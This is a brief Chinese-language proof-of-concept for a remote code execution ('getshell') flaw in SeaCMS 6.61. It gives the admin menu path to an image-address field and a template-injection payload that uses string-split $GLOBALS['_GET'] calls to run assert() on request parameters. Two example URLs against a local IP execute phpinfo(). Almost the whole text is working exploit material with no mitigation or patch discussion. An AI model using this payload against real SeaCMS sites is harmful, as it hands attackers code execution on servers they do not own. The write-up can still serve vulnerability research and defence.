Seacms6.61后台getshell
Affected Version 6.61¶
POC¶
后台的→添加影片→ 图片地址→payload
{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if}
访问
http://192.168.0.6/seacms661/detail/?1.html&a=assert&b=phpinfo();
http://192.168.0.6/seacms661/search.php?searchtype=5&tid=0&a=assert&b=phpinfo();